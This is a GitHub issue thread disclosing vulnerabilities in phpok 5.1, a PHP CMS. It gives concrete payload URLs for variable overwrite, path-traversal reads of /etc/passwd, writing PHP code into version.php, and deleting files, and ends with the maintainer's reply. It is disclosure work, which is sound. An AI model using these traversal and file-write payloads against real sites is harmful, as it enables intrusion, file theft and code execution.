qinggan / phpok

这是一套极其自由的企业站程序,支持各种自定义配置,包括站点全局参数,分类扩展,项目扩展及各种模型!
https://www.phpok.com
MIT License
242 stars 9 forks source link

phpok 5.1 have Some Vulnerability #4

Closed Passer6y closed 5 years ago

Passer6y commented 5 years ago

Variable Overwrite Vulnerability

from the Entrance of framework,i discovered parse_str variable overwrite in framework/init.php image_1d4agk20clki110s1ii7u6q1gah9.png-146.3kB

we could watch $query_string parameter in framework/libs/server.php

image_1d4agn7g08k431a1fsakoi1kjdm.png-135.9kB

payload:http://phpok/?data[script]=passer6y image_1d4ai86gk1ukh1dd0lgt83e6nl9.png-228.1kB

Vulnerability to read arbitrary files

image_1d4i1bkhf1fbq1q6nk7g19pe1hjl23.png-402.7kB

back to the: framework/admin/tpl_control.php image_1d4i1oe4tg81163s1hcn18a21kp530.png-197.8kB

framework/admin/appsys_control.php image_1d4i1pat21lbr1fe518r01rf2tjs3d.png-443.2kB

there is two file have this vulnerability: payload1:

/admin.php?c=appsys&f=file_edit&id=fav&title=../../../../../../../etc/passwd  

payload2:

/admin.php?c=tpl&f=edit&id=1&title=../../../../../../../etc/passwd

image_1d4l4ok81h0c1ee2dk2ann3p1m.png-521.8kB image_1d4i1rfar1g7u1ieefsrd4dd0l3q.png-280.1kB

Arbitrary File Writing to getshell

edit_save_f() function In framework/admin/tpl_control.php 383 line

image_1d4l5pf9lkqtv2q8cr1t6f6ku4k.png-280.9kB

payload:/admin.php?c=tpl&f=edit_save&id=1&title=../../../../../../../Users/passer6y/Documents/www/phpok/version.php&content=<%3fphp+phpinfo()%3becho+"passer6y"%3b%3f

image_1d4ig2hol1ok17857k61r66bv74k.png-383.1kB

Arbitrary file delete Vulnerability

framework/admin/tpl_control.php 303行 delfile_f()函数: image_1d4l604qqo9c1krlerf7eu1o1b51.png-247.1kB

payload:/admin.php?c=tpl&f=delfile&id=1&title=../../../../../../../Users/passer6y/Documents/www/phpok/version.php image_1d4ijnk021ui812v11pc8fap1sb351.png-172kB

qinggan commented 5 years ago

感谢您如此仔细的测评! 这里我们先说明一下,后台针对已经登录的管理员(目前是系统管理员)是有最高权限的! 回头我们会针对普通管理员进行一定的限制,感谢您的支持